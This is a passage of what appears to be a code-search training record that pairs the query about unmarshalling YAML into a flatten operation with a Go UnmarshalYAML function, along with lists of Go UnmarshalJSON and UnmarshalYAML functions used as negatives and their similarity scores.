r.Error()\n}", "func (s *ServiceCountryListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &s.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &s.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *ProductShrinkedArr) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels2(&r, v)\n\treturn r.Error()\n}", "func (c *RelationshipDataContainer) UnmarshalJSON(payload []byte) error {\n\tif bytes.HasPrefix(payload, []byte(\"{\")) {\n\t\t// payload is an object\n\t\treturn json.Unmarshal(payload, &c.DataObject)\n\t}\n\n\tif bytes.HasPrefix(payload, []byte(\"[\")) {\n\t\t// payload is an array\n\t\treturn json.Unmarshal(payload, &c.DataArray)\n\t}\n\n\treturn errors.New(\"Invalid json for relationship data array/object\")\n}", "func (s *SubnetListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &s.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &s.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (r *App) UnmarshalJSON(data []byte) error {\n\tout := make(CatsJSON)\n\te := json.Unmarshal(data, &out)\n\tif e != nil {\n\t\treturn e\n\t}\n\tfor i, x := range out {\n\t\tfor j, y := range x {\n\t\t\tR := r.Cats[i][j]\n\t\t\tif y.Value != nil {\n\t\t\t\tswitch R.Type {\n\t\t\t\tcase \"int\", \"port\":\n\t\t\t\t\ty.Value = int(y.Value.(float64))\n\t\t\t\tcase \"duration\":\n\t\t\t\t\ty.Value = time.Duration(int(y.Value.(float64)))\n\t\t\t\tcase \"stringslice\":\n\t\t\t\t\trt, ok := y.Value.([]string)\n\t\t\t\t\tro := []string{}\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tfor _, z := range rt {\n\t\t\t\t\t\t\tR.Validate(R, z)\n\t\t\t\t\t\t\tro = append(ro, z)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tR.Value.Put(ro)\n\t\t\t\t\t}\n\t\t\t\t\t// case \"float\":\n\t\t\t\t}\n\t\t\t}\n\t\t\tR.Validate(R, y.Value)\n\t\t\tR.Value.Put(y.Value)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}", "func (a *TemplateApply_Secrets) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (e *ExternalOptimizeForConfigV1) UnmarshalJSON(data []byte) error {\n\tunmarshal := func(v interface{}) error {\n\t\treturn json.Unmarshal(data, v)\n\t}\n\n\treturn e.unmarshalWith(unmarshal)\n}", "func (a *AzureAsyncOperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *UsersHandler) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson84c0690eDecodeMainHandlers(&r, v)\n\treturn r.Error()\n}", "func (t *Tags) UnmarshalJSON(data []byte) error {\n\tvar dst []string\n\tif err := json.Unmarshal(data, &dst); err != nil {\n\t\treturn err\n\t}\n\n\tif dst == nil {\n\t\treturn nil\n\t}\n\n\t*t = make(Tags, 0, len(dst))\n\tfor _, s := range dst {\n\t\tif s != \"\" {\n\t\t\t*t = append(*t, s)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (j *Message) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (d *DeploymentListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &d.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &d.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (jf *JsonnetFile) UnmarshalJSON(data []byte) error {\n\tvar s jsonFile\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\tjf.Dependencies = make(map[string]Dependency)\n\tfor _, d := range s.Dependencies {\n\t\tjf.Dependencies[d.Name] = d\n\t}\n\treturn nil\n}", "func (j *Producer) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (u *rootInfoUnion) UnmarshalJSON(body []byte) error {\n\ttype wrap struct {\n\t\tdropbox.Tagged\n\t}\n\tvar w wrap\n\tvar err error\n\tif err = json.Unmarshal(body, &w); err != nil {\n\t\treturn err\n\t}\n\tu.Tag = w.Tag\n\tswitch u.Tag {\n\tcase \"team\":\n\t\tif err = json.Unmarshal(body, &u.Team); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase \"user\":\n\t\tif err = json.Unmarshal(body, &u.User); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\treturn nil\n}", "func (a *AzureWebCategoryListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *PostFull) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComMailcoursesTechnoparkDbmsForumGeneratedModels7(&r, v)\n\treturn r.Error()\n}", "func (t *TestAllRoutesInput) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"message\":\n\t\t\terr = unpopulate(val, \"Message\", &t.Message)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"routingSource\":\n\t\t\terr = unpopulate(val, \"RoutingSource\", &t.RoutingSource)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"twin\":\n\t\t\terr = unpopulate(val, \"Twin\", &t.Twin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func unmarshal() {\n\tfmt.Println(\"=== json.unmarshal ===\")\n\tvar jsonBlob = []byte(`[\n\t\t{\"name\": \"Bill\", \"age\": 109},\n\t\t{\"name\": \"Bob\", \"age\": 5}\n\t]`)\n\n\tvar persons []Person\n\terr := json.Unmarshal(jsonBlob, &persons)\n\tcheck(err)\n\n\tfmt.Printf(\"%+v\\n\", persons)\n}", "func (v *BlitzedItemResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark4(&r, v)\n\treturn r.Error()\n}", "func (r *ResourceSKUListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &r.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &r.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (mr *MergeRequest) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar mergeProperties MergeProperties\n\t\t\t\terr = json.Unmarshal(*v, &mergeProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tmr.MergeProperties = &mergeProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (v *nestedQuery) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson390b7126DecodeGithubComChancedPicker17(&r, v)\n\treturn r.Error()\n}", "func (j *Response) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (boot *Boot) UnmarshalJSON(b []byte) error {\n\ttype temp Boot\n\tvar t struct {\n\t\ttemp\n\t\tBootOptions common.Link\n\t\tCertificates common.Link\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*boot = Boot(t.temp)\n\n\t// Extract the links to other entities for later\n\tboot.bootOptions = t.BootOptions.String()\n\tboot.certificates = t.Certificates.String()\n\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (s *ServiceTagInformationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &s.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &s.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<<!!YOUR_CODE!!>>\n}", "func (v *ExtFilter) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson795c59c6DecodeGrapeGuardRules11(&r, v)\n\treturn r.Error()\n}", "func (v *ItemCheckResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark2(&r, v)\n\treturn r.Error()\n}", "func (j *ForceSettlementOrder) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}" ]
[ "0.65750253", "0.633139", "0.61560655", "0.6075191", "0.6056709", "0.6041073", "0.6039857", "0.6029452", "0.5979324", "0.5919202", "0.59183013", "0.5909902", "0.588416", "0.58788455", "0.5870973", "0.5867418", "0.58537394", "0.5833034", "0.58277774", "0.58243126", "0.5803957", "0.57970905", "0.57928187", "0.5781498", "0.5778425", "0.5773395", "0.5772726", "0.57666266", "0.5735726", "0.57203615", "0.5711517", "0.570623", "0.5694471", "0.5691192", "0.56882644", "0.5686213", "0.56849533", "0.568265", "0.5678879", "0.56785274", "0.5675754", "0.566721", "0.56633586", "0.5659887", "0.5652516", "0.56500524", "0.5649769", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.564969", "0.56470186", "0.56438047", "0.5636897", "0.5635979", "0.56262517", "0.5619138", "0.5619014", "0.5618921", "0.56180716", "0.5611801", "0.56043965", "0.56028116", "0.55968475", "0.55924255", "0.55901045", "0.5589728", "0.558903", "0.5588504", "0.55855167", "0.5585037", "0.55822176", "0.55807304", "0.55793077", "0.5577978", "0.5575073", "0.55733013", "0.55711013", "0.5569374", "0.5568957", "0.5567838", "0.55678076", "0.5562823", "0.5561824", "0.55616164", "0.55608517", "0.556005", "0.55586827", "0.5557774" ]
0.68228734
0
UnmarshalYAML will unmarshal YAML into a flatten operation
func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error { return unmarshal(&op.Field) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}", "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}", "func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}", "func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}", "func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}", "func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}", "func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}", "func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}", "func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}", "func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}", "func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}", "func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}", "func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}", "func (s *IPMIConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*s = defaultConfig\n\ttype plain IPMIConfig\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif err := checkOverflow(s.XXX, \"modules\"); err != nil {\n\t\treturn err\n\t}\n\tfor _, c := range s.Collectors {\n\t\tif err := c.IsValid(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}", "func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}", "func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}", "func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&a.AdvancedAliases); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif len(a.AdvancedAliases) != 0 {\n\t\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\n\t\ta.StringSliceOrString = StringSliceOrString{}\n\t\treturn nil\n\t}\n\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\n\t\treturn errUnmarshalAlias\n\t}\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}", "func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}", "func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 